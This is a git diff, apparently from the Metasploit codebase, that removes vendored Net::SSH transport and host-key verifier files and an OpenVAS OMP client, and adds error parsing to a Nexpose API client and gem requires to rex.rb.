a/lib/net/ssh/transport/session.rb +++ /dev/null @@ -1,298 +0,0 @@ -# -*- coding: binary -*- -require 'rex/socket' -require 'timeout' - -require 'net/ssh/errors' -require 'net/ssh/loggable' -require 'net/ssh/version' -require 'net/ssh/transport/algorithms' -require 'net/ssh/transport/constants' -require 'net/ssh/transport/packet_stream' -require 'net/ssh/transport/server_version' -require 'net/ssh/verifiers/null' -require 'net/ssh/verifiers/strict' -require 'net/ssh/verifiers/lenient' - -module Net; module SSH; module Transport - - # The transport layer represents the lowest level of the SSH protocol, and - # implements basic message exchanging and protocol initialization. It will - # never be instantiated directly (unless you really know what you're about), - # but will instead be created for you automatically when you create a new - # SSH session via Net::SSH.start. - class Session - include Constants, Loggable - - # The standard port for the SSH protocol. - DEFAULT_PORT = 22 - - # The host to connect to, as given to the constructor. - attr_reader :host - - # The port number to connect to, as given in the options to the constructor. - # If no port number was given, this will default to DEFAULT_PORT. - attr_reader :port - - # The underlying socket object being used to communicate with the remote - # host. - attr_reader :socket - - # The ServerVersion instance that encapsulates the negotiated protocol - # version. - attr_reader :server_version - - # The Algorithms instance used to perform key exchanges. - attr_reader :algorithms - - # The host-key verifier object used to verify host keys, to ensure that - # the connection is not being spoofed. - attr_reader :host_key_verifier - - # The hash of options that were given to the object at initialization. - attr_reader :options - - # Instantiates a new transport layer abstraction. This will block until - # the initial key exchange completes, leaving you with a ready-to-use - # transport session. - def initialize(host, options={}) - self.logger = options[:logger] - - @host = host - @port = options[:port] || DEFAULT_PORT - @options = options - - debug { "establishing connection to #{@host}:#{@port}" } - factory = options[:proxy] - - if (factory) - @socket = ::Timeout.timeout(options[:timeout] || 0) { factory.open(@host, -@port) } - else - @socket = ::Timeout.timeout(options[:timeout] || 0) { - Rex::Socket::Tcp.create( - 'PeerHost' => @host, - 'PeerPort' => @port, - 'Proxies' => options[:proxies], - 'Context' => { - 'Msf' => options[:msframework], - 'MsfExploit' => options[:msfmodule] - } - ) - } - # Tell MSF to automatically close this socket on error or completion... - # This prevents resource leaks. - options[:msfmodule].add_socket(@socket) if options[:msfmodule] - end - - @socket.extend(PacketStream) - @socket.logger = @logger - - debug { "connection established" } - - @queue = [] - - @host_key_verifier = select_host_key_verifier(options[:paranoid]) - - @server_version = ServerVersion.new(socket, logger) - - @algorithms = Algorithms.new(self, options) - wait { algorithms.initialized? } - end - - # Returns the host (and possibly IP address) in a format compatible with - # SSH known-host files. - def host_as_string - @host_as_string ||= begin - string = "#{host}" - string = "[#{string}]:#{port}" if port != DEFAULT_PORT - if socket.peer_ip != host - string2 = socket.peer_ip - string2 = "[#{string2}]:#{port}" if port != DEFAULT_PORT - string << "," << string2 - end - string - end - end - - # Returns true if the underlying socket has been closed. - def closed? - socket.closed? - end - - # Cleans up (see PacketStream#cleanup) and closes the underlying socket. - def close - socket.cleanup - socket.close - end - - # Performs a "hard" shutdown of the connection. In general, this should - # never be done, but it might be necessary (in a rescue clause, for instance, - # when the connection needs to close but you don't know the status of the - # underlying protocol's state). - def shutdown! - error { "forcing connection closed" } - socket.close - end - - # Returns a new service_request packet for the given service name, ready - # for sending to the server. - def service_request(service) - Net::SSH::Buffer.from(:byte, SERVICE_REQUEST, :string, service) - end - - # Requests a rekey operation, and blocks until the operation completes. - # If a rekey is already pending, this returns immediately, having no - # effect. - def rekey! - if !algorithms.pending? - algorithms.rekey! - wait { algorithms.initialized? } - end - end - - # Returns immediately if a rekey is already in process. Otherwise, if a - # rekey is needed (as indicated by the socket, see PacketStream#if_needs_rekey?) - # one is performed, causing this method to block until it completes. - def rekey_as_needed - return if algorithms.pending? - socket.if_needs_rekey? { rekey! } - end - - # Returns a hash of information about the peer (remote) side of the socket, - # including :ip, :port, :host, and :canonized (see #host_as_string). - def peer - @peer ||= { :ip => socket.peer_ip, :port => @port.to_i, :host => @host, :canonized => host_as_string } - end - - # Blocks until a new packet is available to be read, and returns that - # packet. See #poll_message. - def next_message - poll_message(:block) - end - - # Tries to read the next packet from the socket. If mode is :nonblock (the - # default), this will not block and will return nil if there are no packets - # waiting to be read. Otherwise, this will block until a packet is - # available. Note that some packet types (DISCONNECT, IGNORE, UNIMPLEMENTED, - # DEBUG, and KEXINIT) are handled silently by this method, and will never - # be returned. - # - # If a key-exchange is in process and a disallowed packet type is - # received, it will be enqueued and otherwise ignored. When a key-exchange - # is not in process, and consume_queue is true, packets will be first - # read from the queue before the socket is queried. - def poll_message(mode=:nonblock, consume_queue=true) - loop do - if consume_queue && @queue.any? && algorithms.allow?(@queue.first) - return @queue.shift - end - - packet = socket.next_packet(mode) - return nil if packet.nil? - - case packet.type - when DISCONNECT - raise Net::SSH::Disconnect, "disconnected: #{packet[:description]} (#{packet[:reason_code]})" - - when IGNORE - debug { "IGNORE packet recieved: #{packet[:data].inspect}" } - - when UNIMPLEMENTED - lwarn { "UNIMPLEMENTED: #{packet[:number]}" } - - when DEBUG - send(packet[:always_display] ? :fatal : :debug) { packet[:message] } - - when KEXINIT - algorithms.accept_kexinit(packet) - - else - return packet if algorithms.allow?(packet) - push(packet) - end - end - end - - # Waits (blocks) until the given block returns true. If no block is given, - # this just waits long enough to see if there are any pending packets. Any - # packets read are enqueued (see #push). - def wait - loop do - break if block_given? && yield - message = poll_message(:nonblock, false) - push(message) if message - break if !block_given? - end - end - - # Adds the given packet to the packet queue. If the queue is non-empty, - # #poll_message will return packets from the queue in the order they - # were received. - def push(packet) - @queue.push(packet) - end - - # Sends the given message via the packet stream, blocking until the - # entire message has been sent. - def send_message(message) - socket.send_packet(message) - end - - # Enqueues the given message, such that it will be sent at the earliest - # opportunity. This does not block, but returns immediately. - def enqueue_message(message) - socket.enqueue_packet(message) - end - - # Configure's the packet stream's client state with the given set of - # options. This is typically used to define the cipher, compression, and - # hmac algorithms to use when sending packets to the server. - def configure_client(options={}) - socket.client.set(options) - end - - # Configure's the packet stream's server state with the given set of - # options. This is typically used to define the cipher, compression, and - # hmac algorithms to use when reading packets from the server. - def configure_server(options={}) - socket.server.set(options) - end - - # Sets a new hint for the packet stream, which the packet stream may use - # to change its behavior. (See PacketStream#hints). - def hint(which, value=true) - socket.hints[which] = value - end - - public - - # this method is primarily for use in tests - attr_reader :queue #:nodoc: - - private - - # Instantiates a new host-key verification class, based on the value of - # the parameter. When true or nil, the default Lenient verifier is - # returned. If it is false, the Null verifier is returned, and if it is - # :very, the Strict verifier is returned. If the argument happens to - # respond to :verify, it is returned directly. Otherwise, an exception - # is raised. - def select_host_key_verifier(paranoid) - case paranoid - when true, nil then - Net::SSH::Verifiers::Lenient.new - when false then - Net::SSH::Verifiers::Null.new - when :very then - Net::SSH::Verifiers::Strict.new - else - if paranoid.respond_to?(:verify) - paranoid - else - raise ArgumentError, "argument to :paranoid is not valid: #{paranoid.inspect}" - end - end - end - end -end; end; end - diff --git a/lib/net/ssh/transport/state.rb b/lib/net/ssh/transport/state.rb deleted file mode 100644 index 165f0cce95..0000000000 --- a/lib/net/ssh/transport/state.rb +++ /dev/null @@ -1,207 +0,0 @@ -# -*- coding: binary -*- -require 'zlib' -require 'net/ssh/transport/cipher_factory' -require 'net/ssh/transport/hmac' - -module Net; module SSH; module Transport - - # Encapsulates state information about one end of an SSH connection. Such - # state includes the packet sequence number, the algorithms in use, how - # many packets and blocks have been processed since the last reset, and so - # forth. This class will never be instantiated directly, but is used as - # part of the internal state of the PacketStream module. - class State - # The socket object that owns this state object. - attr_reader :socket - - # The next packet sequence number for this socket endpoint. - attr_reader :sequence_number - - # The hmac algorithm in use for this endpoint. - attr_reader :hmac - - # The compression algorithm in use for this endpoint. - attr_reader :compression - - # The compression level to use when compressing data (or nil, for the default). - attr_reader :compression_level - - # The number of packets processed since the last call to #reset! - attr_reader :packets - - # The number of data blocks processed since the last call to #reset! - attr_reader :blocks - - # The cipher algorithm in use for this socket endpoint. - attr_reader :cipher - - # The block size for the cipher - attr_reader :block_size - - # The role that this state plays (either :client or :server) - attr_reader :role - - # The maximum number of packets that this endpoint wants to process before - # needing a rekey. - attr_accessor :max_packets - - # The maximum number of blocks that this endpoint wants to process before - # needing a rekey. - attr_accessor :max_blocks - - # The user-specified maximum number of bytes that this endpoint ought to - # process before needing a rekey. - attr_accessor :rekey_limit - - # Creates a new state object, belonging to the given socket. Initializes - # the algorithms to "none". - def initialize(socket, role) - @socket = socket - @role = role - @sequence_number = @packets = @blocks = 0 - @cipher = CipherFactory.get("none") - @block_size = 8 - @hmac = HMAC.get("none") - @compression = nil - @compressor = @decompressor = nil - @next_iv = "" - end - - # A convenience method for quickly setting multiple values in a single - # command. - def set(values) - values.each do |key, value| - instance_variable_set("@#{key}", value) - end - reset! - end - - def update_cipher(data) - result = cipher.update(data) - update_next_iv(role == :client ? result : data) - return result - end - - def final_cipher - result = cipher.final - update_next_iv(role == :client ? result : "", true) - return result - end - - # Increments the counters. The sequence number is incremented (and remapped - # so it always fits in a 32-bit integer). The number of packets and blocks - # are also incremented. - def increment(packet_length) - @sequence_number = (@sequence_number + 1) & 0xFFFFFFFF - @packets += 1 - @blocks += (packet_length + 4) / @block_size - end - - # The compressor object to use when compressing data. This takes into account - # the desired compression level. - def compressor - @compressor ||= Zlib::Deflate.new(compression_level || Zlib::DEFAULT_COMPRESSION) - end - - # The decompressor object to use when decompressing data. - def decompressor - @decompressor ||= Zlib::Inflate.new(nil) - end - - # Returns true if data compression/decompression is enabled. This will - # return true if :standard compression is selected, or if :delayed - # compression is selected and the :authenticated hint has been received - # by the socket. - def compression? - compression == :standard || (compression == :delayed && socket.hints[:authenticated]) - end - - # Compresses the data. If no compression is in effect, this will just return - # the data unmodified, otherwise it uses #compressor to compress the data. - def compress(data) - data = data.to_s - return data unless compression? - compressor.deflate(data, Zlib::SYNC_FLUSH) - end - - # Deompresses the data. If no compression is in effect, this will just return - # the data unmodified, otherwise it uses #decompressor to decompress the data. - def decompress(data) - data = data.to_s - return data unless compression? - decompressor.inflate(data) - end - - # Resets the counters on the state object, but leaves the sequence_number - # unchanged. It also sets defaults for and recomputes the max_packets and - # max_blocks values. - def reset! - @packets = @blocks = 0 - - @max_packets ||= 1 << 31 - - @block_size = cipher.name == "RC4" ? 8 : cipher.block_size - - if max_blocks.nil? - # cargo-culted from openssh. the idea is that "the 2^(blocksize*2) - # limit is too expensive for 3DES, blowfish, etc., so enforce a 1GB - # limit for small blocksizes." - if @block_size >= 16 - @max_blocks = 1 << (@block_size * 2) - else - @max_blocks = (1 << 30) / @block_size - end - - # if a limit on the # of bytes has been given, convert that into a - # minimum number of blocks processed. - - if rekey_limit - @max_blocks = [@max_blocks, rekey_limit / @block_size].min - end - end - - cleanup - end - - # Closes any the compressor and/or decompressor objects that have been - # instantiated. - def cleanup - if @compressor - @compressor.finish if !@compressor.finished? - @compressor.close - end - - if @decompressor - # we call reset here so that we don't get warnings when we try to - # close the decompressor - @decompressor.reset - @decompressor.close - end - - @compressor = @decompressor = nil - end - - # Returns true if the number of packets processed exceeds the maximum - # number of packets, or if the number of blocks processed exceeds the - # maximum number of blocks. - def needs_rekey? - max_packets && packets > max_packets || - max_blocks && blocks > max_blocks - end - - private - - def update_next_iv(data, reset=false) - @next_iv << data - @next_iv = @next_iv[-cipher.iv_len..-1] - - if reset - cipher.reset - cipher.iv = @next_iv - end - - return data - end - end - -end; end; end diff --git a/lib/net/ssh/utils.rb b/lib/net/ssh/utils.rb deleted file mode 100644 index 32d4138f7b..0000000000 --- a/lib/net/ssh/utils.rb +++ /dev/null @@ -1,48 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh' -require 'rex' - -module Net -module SSH - -# A place to define convenience utils for Net:SSH -module Utils -class Key - class << self - - # Returns the fingerprint of a key file or key data. Usage: - # Net::SSH::Utils::Key.fingerprint(:file => "id_rsa") - # => "af:76:e4:f8:37:7b:52:8c:77:61:5b:d3:b0:d3:05:e4" - # - # If both :file and :data are provided, :data will be read. - # :format may be one of :binary, :compact, or nil (in which case colon-delimited will be returned) - # If the key is a public key, it must be declared as such by :public => true. Default is private. - def fingerprint(args={}) - file = args[:file] || args[:f] - data = args[:data] || args[:d] - method = ((args[:public] || args[:pub]) ? :load_public_key : :load_private_key) - format = args[:format] - if data - fd = Tempfile.new("msf3-sshkey-temp-") - fd.binmode - fd.write data - fd.flush - file = fd.path - end - key = KeyFactory.send method,file - fp = key.fingerprint - case args[:format] - when :binary,:bin,:b - return fp.split(":").map {|x| x.to_i(16)}.pack("C16") - when :compact,:com,:c - return fp.split(":").join - else - return fp - end - end - -end -end -end -end -end diff --git a/lib/net/ssh/verifiers/lenient.rb b/lib/net/ssh/verifiers/lenient.rb deleted file mode 100644 index 9ac6143846..0000000000 --- a/lib/net/ssh/verifiers/lenient.rb +++ /dev/null @@ -1,31 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/verifiers/strict' - -module Net; module SSH; module Verifiers - - # Basically the same as the Strict verifier, but does not try to actually - # verify a connection if the server is the localhost and the port is a - # nonstandard port number. Those two conditions will typically mean the - # connection is being tunnelled through a forwarded port, so the known-hosts - # file will not be helpful (in general). - class Lenient < Strict - # Tries to determine if the connection is being tunnelled, and if so, - # returns true. Otherwise, performs the standard strict verification. - def verify(arguments) - return true if tunnelled?(arguments) - super - end - - private - - # A connection is potentially being tunnelled if the port is not 22, - # and the ip refers to the localhost. - def tunnelled?(args) - return false if args[:session].port == Net::SSH::Transport::Session::DEFAULT_PORT - - ip = args[:session].peer[:ip] - return ip == "127.0.0.1" || ip == "::1" - end - end - -end; end; end diff --git a/lib/net/ssh/verifiers/null.rb b/lib/net/ssh/verifiers/null.rb deleted file mode 100644 index 313159503c..0000000000 --- a/lib/net/ssh/verifiers/null.rb +++ /dev/null @@ -1,13 +0,0 @@ -# -*- coding: binary -*- -module Net; module SSH; module Verifiers - - # The Null host key verifier simply allows every key it sees, without - # bothering to verify. This is simple, but is not particularly secure. - class Null - # Returns true. - def verify(arguments) - true - end - end - -end; end; end diff --git a/lib/net/ssh/verifiers/strict.rb b/lib/net/ssh/verifiers/strict.rb deleted file mode 100644 index 5e16248ac4..0000000000 --- a/lib/net/ssh/verifiers/strict.rb +++ /dev/null @@ -1,60 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/errors' -require 'net/ssh/known_hosts' - -module Net; module SSH; module Verifiers - - # Does a strict host verification, looking the server up in the known - # host files to see if a key has already been seen for this server. If this - # server does not appear in any host file, this will silently add the - # server. If the server does appear at least once, but the key given does - # not match any known for the server, an exception will be raised (HostKeyMismatch). - # Otherwise, this returns true. - class Strict - def verify(arguments) - options = arguments[:session].options - host = options[:host_key_alias] || arguments[:session].host_as_string - matches = [] - if options[:config] - matches = Net::SSH::KnownHosts.search_for(host, arguments[:session].options) - end - # we've never seen this host before, so just automatically add the key. - # not the most secure option (since the first hit might be the one that - # is hacked), but since almost nobody actually compares the key - # fingerprint, this is a reasonable compromise between usability and - # security. - if matches.empty? - ip = arguments[:session].peer[:ip] - if options[:config] - Net::SSH::KnownHosts.add(host, arguments[:key], arguments[:session].options) - end - return true - end - - # If we found any matches, check to see that the key type and - # blob also match. - found = matches.any? do |key| - key.ssh_type == arguments[:key].ssh_type && - key.to_blob == arguments[:key].to_blob - end - - # If a match was found, return true. Otherwise, raise an exception - # indicating that the key was not recognized. - found || process_cache_miss(host, arguments) - end - - private - - def process_cache_miss(host, args) - exception = HostKeyMismatch.new("fingerprint #{args[:fingerprint]} does not match for #{host.inspect}") - exception.data = args - if options[:config] - exception.callback = Proc.new do - Net::SSH::KnownHosts.add(host, args[:key], args[:session].options) - end - end - raise exception - end - end - -end; end; end diff --git a/lib/net/ssh/version.rb b/lib/net/ssh/version.rb deleted file mode 100644 index e27bb0df0f..0000000000 --- a/lib/net/ssh/version.rb +++ /dev/null @@ -1,64 +0,0 @@ -# -*- coding: binary -*- -module Net; module SSH - # A class for describing the current version of a library. The version - # consists of three parts: the +major+ number, the +minor+ number, and the - # +tiny+ (or +patch+) number. - # - # Two Version instances may be compared, so that you can test that a version - # of a library is what you require: - # - # require 'net/ssh/version' - # - # if Net::SSH::Version::CURRENT < Net::SSH::Version[2,1,0] - # abort "your software is too old!" - # end - class Version - include Comparable - - # A convenience method for instantiating a new Version instance with the - # given +major+, +minor+, and +tiny+ components. - def self.[](major, minor, tiny) - new(major, minor, tiny) - end - - attr_reader :major, :minor, :tiny, :msf3 - - # Create a new Version object with the given components. - def initialize(major, minor, tiny) - @major, @minor, @tiny = major, minor, tiny - @msf3 = true - end - - # Compare this version to the given +version+ object. - def <=>(version) - to_i <=> version.to_i - end - - # Converts this version object to a string, where each of the three - # version components are joined by the '.' character. E.g., 2.0.0. - def to_s - @to_s ||= [@major, @minor, @tiny].join(".") - end - - # Converts this version to a canonical integer that may be compared - # against other version objects. - def to_i - @to_i ||= @major * 1_000_000 + @minor * 1_000 + @tiny - end - - # The major component of this version of the Net::SSH library - MAJOR = 2 - - # The minor component of this version of the Net::SSH library - MINOR = 0 - - # The tiny component of this version of the Net::SSH library - TINY = 12 - - # The current version of the Net::SSH library as a Version instance - CURRENT = new(MAJOR, MINOR, TINY) - - # The current version of the Net::SSH library as a String - STRING = CURRENT.to_s - end -end; end diff --git a/lib/openvas/openvas-omp.rb b/lib/openvas/openvas-omp.rb deleted file mode 100644 index fb7e3b7a51..0000000000 --- a/lib/openvas/openvas-omp.rb +++ /dev/null @@ -1,640 +0,0 @@ -#!/usr/bin/env ruby -# -# This plugin provides integration with OpenVAS. Written by kost and -# averagesecurityguy. -# -# Distributed under MIT license: -# http://www.opensource.org/licenses/mit-license.php -# - -require 'socket' -require 'timeout' -require 'openssl' -require 'rexml/document' -require 'rexml/text' -require 'base64' - -# OpenVASOMP module -# -# Usage: require 'openvas-omp' - -module OpenVASOMP - -#------------------------------ -# Error Classes -#------------------------------ - class OMPError < :: RuntimeError - attr_accessor :reason - def initialize(reason = '') - self.reason = reason - end - def to_s - "OpenVAS OMP: #{self.reason}" - end - end - - class OMPConnectionError < OMPError - def initialize - self.reason = "Could not connect to server" - end - end - - class OMPResponseError < OMPError - def initialize - self.reason = "Error in OMP request/response" - end - end - - class OMPAuthError < OMPError - def initialize - self.reason = "Authentication failed" - end - end - - class XMLParsingError < OMPError - def initialize - self.reason = "XML parsing failed" - end - end - - -#------------------------------ -# Connection Class -#------------------------------ - class OpenVASConnection - attr_accessor :socket, :bufsize, :debug - - def initialize(host="127.0.0.1", port=9390, debug=false) - @host = host - @port = port - @socket = nil - @bufsize = 16384 - @debug = debug - end - - def connect - if @debug then puts "Connecting to server #{@host} on port #{@port}" end - plain_socket = TCPSocket.open(@host, @port) - ssl_context = OpenSSL::SSL::SSLContext.new() - @socket = OpenSSL::SSL::SSLSocket.new(plain_socket, ssl_context) - @socket.sync_close = true - @socket.connect - end - - def disconnect - if @debug then - puts "Closing connection to server #{@host} on port #{@port}" end - if @socket then @socket.close end - end - - def sendrecv(data) - # Send the data - if @debug then puts "Preparing to send data" end - if not @socket then connect end - if @debug then puts "SENDING: " + data end - @socket.puts(data) - - # Receive the response - resp = '' - size = 0 - begin - begin - timeout(@read_timeout) { - a = @socket.sysread(@bufsize) - size = a.length - resp << a - } - rescue Timeout::Error - size = 0 - rescue EOFError - raise OMPResponseError - end - end while size >= @bufsize - - if @debug then puts "RECEIVED: " + resp end - return resp - end - end - - -#------------------------------ -# OpenVASOMP class -#------------------------------ - class OpenVASOMP - # initialize object: try to connect to OpenVAS using URL, user and password - attr_reader :targets, :tasks, :configs, :formats, :reports - - def initialize(user="openvas", pass="openvas", host="localhost", port=9392, debug=false) - @debug = debug - @token = '' - @server = OpenVASConnection.new(host, port, debug) - @server.connect - login(user, pass) - @configs = nil - @tasks = nil - @targets = nil - @formats = nil - @reports = nil - config_get_all - task_get_all - target_get_all - format_get_all - report_get_all - end - - #-------------------------- - # Low level commands. Only - # used by OpenVASOMP class. - #-------------------------- - # Nests a string inside an XML tag specified by root - def xml_str(root, str) - return "<#{root}>#{str}" - end - - # Creates an XML root with child elements specified by a hash - def xml_elems(root, elems) - xml = REXML::Element.new(root) - elems.each do |key, val| - e = xml.add_element(key) - e.text = val - end - return xml.to_s - end - - # Creates and XML element with attributes specified by a hash - def xml_attrs(elem, attribs) - xml = REXML::Element.new(elem) - attribs.each do |key, val| - xml.attributes[key] = val - end - return xml.to_s - end - - # Send authentication string and return an XML object (authentication token) - def auth_request_xml(request) - if @debug - puts "Sending Request: #{request}" - end - resp = @server.sendrecv(request) - begin - docxml = REXML::Document.new(resp) - status = docxml.root.attributes['status'].to_i - status_text = docxml.root.attributes['status_text'] - if @debug - puts "Status: #{status}" - puts "Status Text: #{status_text}" - end - rescue - raise XMLParsingError - end - - return status, status_text - end - - # Send string request wrapped with authentication XML and return - # an XML object - def omp_request_xml(request) - if @debug - puts "Sending Request: #{request}" - end - resp = @server.sendrecv(@token + request) - begin - # Wrap the response in XML tags to use next_element properly. - docxml = REXML::Document.new("" + resp + "") - resp = docxml.root.elements['authenticate_response'].next_element - status = resp.attributes['status'].to_i - status_text = resp.attributes['status_text'] - if @debug - puts "Status: #{status}" - puts "Status Text: #{status_text}" - end - rescue - raise XMLParsingError - end - - return status, status_text, resp - end - - #-------------------------- - # Class API methods. - #-------------------------- - # Sets debug level - def debug(value) - if value == 0 - @debug = false - @server.debug = false - return "Debug is deactivated." - else - @debug = true - @server.debug = true - return "Debug is activated." - end - end - - # get OMP version (you don't need to be authenticated) - def get_version - status, status_text, resp = omp_request_xml("") - begin - version = resp.elements['version'].text - return version - rescue - raise XMLParsingError - end - end - - # login to OpenVAS server. - # if successful returns authentication XML for further usage - # if unsuccessful returns empty string - def login(user, pass) - creds = xml_elems("credentials", {"username"=> user, "password" => pass}) - req = xml_str("authenticate", creds) - status, status_text = auth_request_xml(req) - - if status == 200 - @token = req - else - raise OMPAuthError - end - end - - # Logout by disconnecting from the server and deleting the - # authentication string. There are no sessions in OMP, must - # send the credentials every time. - def logout - @server.disconnect() - @token = '' - end - -#------------------------------ -# Target Functions -#------------------------------ - - # OMP - Get all targets for scanning and returns array of hashes - # with following keys: id,name,comment,hosts,max_hosts,in_use - # - # Usage: - # array_of_hashes = target_get_all() - # - def target_get_all() - begin - status, status_text, resp = omp_request_xml("") - - list = Array.new - resp.elements.each('//get_targets_response/target') do |target| - td = Hash.new - td["id"] = target.attributes["id"] - td["name"] = target.elements["name"].text - td["comment"] = target.elements["comment"].text - td["hosts"] = target.elements["hosts"].text - td["max_hosts"] = target.elements["max_hosts"].text - td["in_use"] = target.elements["in_use"].text - list.push td - end - @targets = list - return list - rescue - raise OMPResponseError - end - end - - # OMP - Create target for scanning - # - # Usage: - # - # target_id = ov.target_create("name"=>"localhost", - # "hosts"=>"127.0.0.1","comment"=>"yes") - # - def target_create(name, hosts, comment) - req = xml_elems("create_target", {"name"=>name, "hosts"=>hosts, "comment"=>comment}) - - begin - status, status_text, resp = omp_request_xml(req) - target_get_all - return "#{status_text}: #{resp.attributes['id']}" - rescue - raise OMPResponseError - end - end - - # OMP - Delete target - # - # Usage: - # - # ov.target_delete(target_id) - # - def target_delete(id) - target = @targets[id.to_i] - if not target - raise OMPError.new("Invalid target id.") - end - req = xml_attrs("delete_target",{"target_id" => target["id"]}) - begin - status, status_text, resp = omp_request_xml(req) - target_get_all - return status_text - rescue - raise OMPResponseError - end - end - - #-------------------------- - # Task Functions - #-------------------------- - # In short: Create a task. - # - # The client uses the create_task command to create a new task. - # - def task_create(name, comment, config_id, target_id) - config = @configs[config_id.to_i] - target = @targets[target_id.to_i] - config = xml_attrs("config", {"id"=>config["id"]}) - target = xml_attrs("target", {"id"=>target["id"]}) - namestr = xml_str("name", name) - commstr = xml_str("comment", comment) - - req = xml_str("create_task", namestr + commstr + config + target) - - begin - status, status_text, resp = omp_request_xml(req) - task_get_all - return "#{status_text}: #{resp.attributes['id']}" - rescue - raise OMPResponseError - end - end - - # In short: Delete a task. - # - # The client uses the delete_task command to delete an existing task, - # including all reports associated with the task. - # - def task_delete(task_id) - task = @tasks[task_id.to_i] - if not task - raise OMPError.new("Invalid task id.") - end - req = xml_attrs("delete_task",{"task_id" => task["id"]}) - begin - status, status_text, resp = omp_request_xml(req) - task_get_all - return status_text - rescue - raise OMPResponseError - end - end - - # In short: Get all tasks. - # - # The client uses the get_tasks command to get task information. - # - def task_get_all() - begin - status, status_text, resp = omp_request_xml("") - - list = Array.new - resp.elements.each('//get_tasks_response/task') do |task| - td = Hash.new - td["id"] = task.attributes["id"] - td["name"] = task.elements["name"].text - td["comment"] = task.elements["comment"].text - td["status"] = task.elements["status"].text - td["progress"] = task.elements["progress"].text - list.push td - end - @tasks = list - return list - rescue - raise OMPResponseError - end - end - - # In short: Manually start an existing task. - # - # The client uses the start_task command to manually start an existing - # task. - # - def task_start(task_id) - task = @tasks[task_id.to_i] - if not task - raise OMPError.new("Invalid task id.") - end - req = xml_attrs("start_task",{"task_id" => task["id"]}) - begin - status, status_text, resp = omp_request_xml(req) - return status_text - rescue - raise OMPResponseError - end - end - - # In short: Stop a running task. - # - # The client uses the stop_task command to manually stop a running - # task. - # - def task_stop(task_id) - task = @tasks[task_id.to_i] - if not task - raise OMPError.new("Invalid task id.") - end - req = xml_attrs("stop_task",{"task_id" => task["id"]}) - begin - status, status_text, resp = omp_request_xml(req) - return status_text - rescue - raise OMPResponseError - end - end - - # In short: Pause a running task. - # - # The client uses the pause_task command to manually pause a running - # task. - # - def task_pause(task_id) - task = @tasks[task_id.to_i] - if not task - raise OMPError.new("Invalid task id.") - end - req = xml_attrs("pause_task",{"task_id" => task["id"]}) - begin - status, status_text, resp = omp_request_xml(req) - return status_text - rescue - raise OMPResponseError - end - end - - # In short: Resume task if stopped, else start task. - # - # The client uses the resume_or_start_task command to manually start - # an existing task, ensuring that the task will resume from its - # previous position if the task is in the Stopped state. - # - def task_resume_or_start(task_id) - task = @tasks[task_id.to_i] - if not task - raise OMPError.new("Invalid task id.") - end - req = xml_attrs("resume_or_start_task",{"task_id" => task["id"]}) - begin - status, status_text, resp = omp_request_xml(req) - return status_text - rescue - raise OMPResponseError - end - end - - # In short: Resume a puased task - # - # The client uses the resume_paused_task command to manually resume - # a paused task. - # - def task_resume_paused(task_id) - task = @tasks[task_id.to_i] - if not task - raise OMPError.new("Invalid task id.") - end - req = xml_attrs("resume_paused_task",{"task_id" => task["id"]}) - begin - status, status_text, resp = omp_request_xml(req) - return status_text - rescue - raise OMPResponseError - end - end - - #-------------------------- - # Config Functions - #-------------------------- - # OMP - get configs and returns hash as response - # hash[config_id]=config_name - # - # Usage: - # - # array_of_hashes=ov.config_get_all() - # - def config_get_all() - begin - status, status_text, resp = omp_request_xml("") - - list = Array.new - resp.elements.each('//get_configs_response/config') do |config| - c = Hash.new - c["id"] = config.attributes["id"] - c["name"] = config.elements["name"].text - list.push c - end - @configs = list - return list - rescue - raise OMPResponseError - end - end - - - #-------------------------- - # Format Functions - #-------------------------- - # Get a list of report formats - def format_get_all() - begin - status, status_text, resp = omp_request_xml("") - if @debug then print resp end - - list = Array.new - resp.elements.each('//get_report_formats_response/report_format') do |report| - td = Hash.new - td["id"] = report.attributes["id"] - td["name"] = report.elements["name"].text - td["extension"] = report.elements["extension"].text - td["summary"] = report.elements["summary"].text - list.push td - end - @formats = list - return list - rescue - raise OMPResponseError - end - end - - - #-------------------------- - # Report Functions - #-------------------------- - # Get a list of reports - def report_get_all() - begin - status, status_text, resp = omp_request_xml("") - - list = Array.new - resp.elements.each('//get_reports_response/report') do |report| - td = Hash.new - td["id"] = report.attributes["id"] - td["task"] = report.elements["report/task/name"].text - td["start_time"] = report.elements["report/scan_start"].text - td["stop_time"] = report.elements["report/scan_end"].text - list.push td - end - @reports = list - return list - rescue - raise OMPResponseError - end - end - - def report_delete(report_id) - report = @reports[report_id.to_i] - if not report - raise OMPError.new("Invalid report id.") - end - req = xml_attrs("delete_report",{"report_id" => report["id"]}) - begin - status, status_text, resp = omp_request_xml(req) - report_get_all - return status_text - rescue - raise OMPResponseError - end - end - - # Get a report by id. Must also specify the format_id - def report_get_by_id(report_id, format_id) - report = @reports[report_id.to_i] - if not report - raise OMPError.new("Invalid report id.") - end - - format = @formats[format_id.to_i] - if not format - raise OMPError.new("Invalid format id.") - end - - req = xml_attrs("get_reports", {"report_id"=>report["id"], "format_id"=>format["id"]}) - begin - status, status_text, resp = omp_request_xml(req) - rescue - raise OMPResponseError - end - - if status == "404" - raise OMPError.new(status_text) - end - - content_type = resp.elements["report"].attributes["content_type"] - report = resp.elements["report"].to_s - - if report == nil - raise OMPError.new("The report is empty.") - end - - # XML reports are in XML format, everything else is base64 encoded. - if content_type == "text/xml" - return report - else - return Base64.decode64(report) - end - end - - end -end diff --git a/lib/rapid7/nexpose.rb b/lib/rapid7/nexpose.rb index 710e364332..2939ab8c24 100644 --- a/lib/rapid7/nexpose.rb +++ b/lib/rapid7/nexpose.rb @@ -182,6 +182,25 @@ class APIRequest end end + @res.elements.each('//Failure') do |s| + + # 1.1 returns lower case elements + s.elements.each('message') do |m| + @error = m.text + end + s.elements.each('stacktrace') do |m| + @trace = m.text + end + + # 1.2 returns capitalized elements + s.elements.each('Message') do |m| + @error = m.text + end + s.elements.each('Stacktrace') do |m| + @trace = m.text + end + end + # This is a hack to handle corner cases where a heavily loaded Nexpose instance # drops our HTTP connection before processing. We try 5 times to establish a # connection in these situations. The actual exception occurs in the Ruby diff --git a/lib/rex.rb b/lib/rex.rb index 888d0c787c..1fdc65adc7 100644 --- a/lib/rex.rb +++ b/lib/rex.rb @@ -38,12 +38,39 @@ module Rex LogSource = "rex" end +# +# REX Gems +# + +# Text manipulation library for things like generating random string +require 'rex/text' +# Library for Generating Randomized strings valid as Identifiers such as variable names +require 'rex/random_identifier' +# library for creating Powershell scripts for exploitation 